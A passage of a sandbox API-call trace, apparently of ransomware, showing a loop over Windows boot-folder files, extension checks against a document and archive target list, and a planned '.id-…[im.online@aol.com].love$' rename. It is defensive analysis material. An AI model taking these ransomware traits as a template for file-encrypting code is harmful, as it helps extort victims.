hHeap=0x670000, dwFlags=0x0, lpMem=0x70c2f0 | out: hHeap=0x670000) returned 1 [0282.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32d1e40 | out: hHeap=0x670000) returned 1 [0282.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x32e1e48 | out: hHeap=0x670000) returned 1 [0282.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3ec7020 | out: hHeap=0x670000) returned 1 [0282.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5160 | out: hHeap=0x670000) returned 1 [0282.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.094] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aac90 [0282.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b78 [0282.094] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b78, Size=0x20) returned 0x41aacb8 [0282.094] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.094] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.095] Wow64DisableWow64FsRedirection (in: OldValue=0x36eff50 | out: OldValue=0x36eff50*=0x1) returned 1 [0282.095] lstrlenW (lpString="kernel32.dll") returned 12 [0282.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aacb8 | out: hHeap=0x670000) returned 1 [0282.095] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac90 | out: hHeap=0x670000) returned 1 Thread: id = 51 os_tid = 0xe14 [0222.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32f3e58 [0222.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3303e60 [0222.737] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5178 [0222.737] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c370 [0222.737] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5190 [0222.737] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3fde020 [0222.740] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c50a0 [0222.740] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c50a0, Size=0x20) returned 0x6ad458 [0222.740] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c51a8 [0222.740] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c51a8, Size=0x20) returned 0x6ad480 [0222.740] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.741] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.741] Wow64DisableWow64FsRedirection (in: OldValue=0x382ff50 | out: OldValue=0x382ff50*=0x0) returned 1 [0222.741] lstrlenW (lpString="kernel32.dll") returned 12 [0222.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad458 | out: hHeap=0x670000) returned 1 [0222.741] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad480 | out: hHeap=0x670000) returned 1 [0222.741] Sleep (dwMilliseconds=0x64) [0223.079] Sleep (dwMilliseconds=0x64) [0223.281] Sleep (dwMilliseconds=0x64) [0223.565] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.565] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.565] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.684] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=77664) returned 1 [0223.684] CloseHandle (hObject=0x37c) returned 1 [0223.685] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0223.685] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.685] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.685] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.685] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.685] lstrlenW (lpString=".doc") returned 4 [0223.685] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.685] lstrlenW (lpString=".docx") returned 5 [0223.685] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.685] lstrlenW (lpString=".pdf") returned 4 [0223.685] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.685] lstrlenW (lpString=".xls") returned 4 [0223.685] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.685] lstrlenW (lpString=".xlsx") returned 5 [0223.685] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.686] lstrlenW (lpString=".ppt") returned 4 [0223.686] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.686] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.686] lstrlenW (lpString=".zip") returned 4 [0223.686] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.686] lstrlenW (lpString=".rar") returned 4 [0223.686] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.686] lstrlenW (lpString=".bz2") returned 4 [0223.686] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.686] lstrlenW (lpString=".7z") returned 3 [0223.686] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.686] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.686] lstrlenW (lpString=".dbf") returned 4 [0223.686] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.686] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.686] lstrlenW (lpString=".1cd") returned 4 [0223.686] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.686] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.686] lstrlenW (lpString=".jpg") returned 4 [0223.686] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.687] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.687] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.687] lstrlenW (lpString=".doc") returned 4 [0223.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0223.687] lstrlenW (lpString=".docx") returned 5 [0223.687] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0223.687] lstrlenW (lpString=".pdf") returned 4 [0223.687] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0223.687] lstrlenW (lpString=".xls") returned 4 [0223.687] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0223.687] lstrlenW (lpString=".xlsx") returned 5 [0223.687] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0223.687] lstrlenW (lpString=".ppt") returned 4 [0223.687] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0223.687] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.687] lstrlenW (lpString=".zip") returned 4 [0223.687] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0223.687] lstrlenW (lpString=".rar") returned 4 [0223.687] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0223.687] lstrlenW (lpString=".bz2") returned 4 [0223.687] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0223.687] lstrlenW (lpString=".7z") returned 3 [0223.687] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0223.687] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.687] lstrlenW (lpString=".dbf") returned 4 [0223.687] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0223.688] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.688] lstrlenW (lpString=".1cd") returned 4 [0223.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0223.688] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0223.688] lstrlenW (lpString=".jpg") returned 4 [0223.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0223.688] Sleep (dwMilliseconds=0x64) [0223.991] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0223.993] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0223.994] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0224.020] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=67424) returned 1 [0224.020] CloseHandle (hObject=0x380) returned 1 [0224.020] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0224.020] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.020] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.020] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.020] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.021] lstrlenW (lpString=".doc") returned 4 [0224.021] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.021] lstrlenW (lpString=".docx") returned 5 [0224.021] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.021] lstrlenW (lpString=".pdf") returned 4 [0224.021] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.021] lstrlenW (lpString=".xls") returned 4 [0224.021] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.021] lstrlenW (lpString=".xlsx") returned 5 [0224.021] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.021] lstrlenW (lpString=".ppt") returned 4 [0224.021] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.021] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.021] lstrlenW (lpString=".zip") returned 4 [0224.021] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.021] lstrlenW (lpString=".rar") returned 4 [0224.021] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.021] lstrlenW (lpString=".bz2") returned 4 [0224.021] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.021] lstrlenW (lpString=".7z") returned 3 [0224.021] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.021] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.021] lstrlenW (lpString=".dbf") returned 4 [0224.021] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.021] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.021] lstrlenW (lpString=".1cd") returned 4 [0224.021] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.022] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.022] lstrlenW (lpString=".jpg") returned 4 [0224.022] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.022] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.022] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.022] lstrlenW (lpString=".doc") returned 4 [0224.022] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.022] lstrlenW (lpString=".docx") returned 5 [0224.022] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.022] lstrlenW (lpString=".pdf") returned 4 [0224.022] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.022] lstrlenW (lpString=".xls") returned 4 [0224.022] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.022] lstrlenW (lpString=".xlsx") returned 5 [0224.022] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.022] lstrlenW (lpString=".ppt") returned 4 [0224.022] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.022] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.022] lstrlenW (lpString=".zip") returned 4 [0224.022] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.022] lstrlenW (lpString=".rar") returned 4 [0224.022] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.022] lstrlenW (lpString=".bz2") returned 4 [0224.022] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.022] lstrlenW (lpString=".7z") returned 3 [0224.022] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.023] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.023] lstrlenW (lpString=".dbf") returned 4 [0224.023] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.023] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.023] lstrlenW (lpString=".1cd") returned 4 [0224.023] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.023] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0224.023] lstrlenW (lpString=".jpg") returned 4 [0224.023] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.023] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0224.023] lstrlenW (lpString="memtest.exe.mui") returned 15 [0224.023] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0224.026] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=42904) returned 1 [0224.026] CloseHandle (hObject=0x388) returned 1 [0224.026] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0224.026] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.028] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.028] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.028] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.028] lstrlenW (lpString=".doc") returned 4 [0224.028] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.028] lstrlenW (lpString=".docx") returned 5 [0224.028] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.028] lstrlenW (lpString=".pdf") returned 4 [0224.028] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.028] lstrlenW (lpString=".xls") returned 4 [0224.028] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.028] lstrlenW (lpString=".xlsx") returned 5 [0224.028] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.028] lstrlenW (lpString=".ppt") returned 4 [0224.028] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.028] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".zip") returned 4 [0224.029] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.029] lstrlenW (lpString=".rar") returned 4 [0224.029] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.029] lstrlenW (lpString=".bz2") returned 4 [0224.029] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.029] lstrlenW (lpString=".7z") returned 3 [0224.029] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".dbf") returned 4 [0224.029] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".1cd") returned 4 [0224.029] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".jpg") returned 4 [0224.029] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".doc") returned 4 [0224.029] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.029] lstrlenW (lpString=".docx") returned 5 [0224.029] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.029] lstrlenW (lpString=".pdf") returned 4 [0224.029] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.029] lstrlenW (lpString=".xls") returned 4 [0224.029] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.029] lstrlenW (lpString=".xlsx") returned 5 [0224.029] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.029] lstrlenW (lpString=".ppt") returned 4 [0224.029] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.029] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.029] lstrlenW (lpString=".zip") returned 4 [0224.030] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.030] lstrlenW (lpString=".rar") returned 4 [0224.030] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.030] lstrlenW (lpString=".bz2") returned 4 [0224.030] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.030] lstrlenW (lpString=".7z") returned 3 [0224.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.030] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.030] lstrlenW (lpString=".dbf") returned 4 [0224.030] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.030] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.030] lstrlenW (lpString=".1cd") returned 4 [0224.030] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.030] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0224.030] lstrlenW (lpString=".jpg") returned 4 [0224.030] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.030] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0224.030] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.030] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.032] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=66912) returned 1 [0224.032] CloseHandle (hObject=0x390) returned 1 [0224.032] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0224.032] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.032] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.032] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString=".doc") returned 4 [0224.033] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.033] lstrlenW (lpString=".docx") returned 5 [0224.033] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.033] lstrlenW (lpString=".pdf") returned 4 [0224.033] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.033] lstrlenW (lpString=".xls") returned 4 [0224.033] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.033] lstrlenW (lpString=".xlsx") returned 5 [0224.033] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.033] lstrlenW (lpString=".ppt") returned 4 [0224.033] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString=".zip") returned 4 [0224.033] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.033] lstrlenW (lpString=".rar") returned 4 [0224.033] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.033] lstrlenW (lpString=".bz2") returned 4 [0224.033] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.033] lstrlenW (lpString=".7z") returned 3 [0224.033] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString=".dbf") returned 4 [0224.033] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString=".1cd") returned 4 [0224.033] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString=".jpg") returned 4 [0224.033] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.033] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.034] lstrlenW (lpString=".doc") returned 4 [0224.034] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.034] lstrlenW (lpString=".docx") returned 5 [0224.034] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0224.034] lstrlenW (lpString=".pdf") returned 4 [0224.034] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0224.034] lstrlenW (lpString=".xls") returned 4 [0224.034] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0224.034] lstrlenW (lpString=".xlsx") returned 5 [0224.034] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0224.034] lstrlenW (lpString=".ppt") returned 4 [0224.034] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0224.034] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.034] lstrlenW (lpString=".zip") returned 4 [0224.034] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0224.034] lstrlenW (lpString=".rar") returned 4 [0224.034] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0224.034] lstrlenW (lpString=".bz2") returned 4 [0224.034] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0224.034] lstrlenW (lpString=".7z") returned 3 [0224.034] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0224.034] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.034] lstrlenW (lpString=".dbf") returned 4 [0224.034] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0224.034] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.034] lstrlenW (lpString=".1cd") returned 4 [0224.034] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0224.034] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0224.034] lstrlenW (lpString=".jpg") returned 4 [0224.034] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0224.035] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0224.035] lstrlenW (lpString="memtest.exe.mui") returned 15 [0224.035] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0224.035] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=42912) returned 1 [0224.035] CloseHandle (hObject=0x390) returned 1 [0224.035] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0224.035] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.035] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.035] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.035] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0224.036] lstrlenW (lpString=".doc") returned 4 [0224.036] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0224.036] lstrlenW (lpString=".docx") returned 5 [0224.036] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 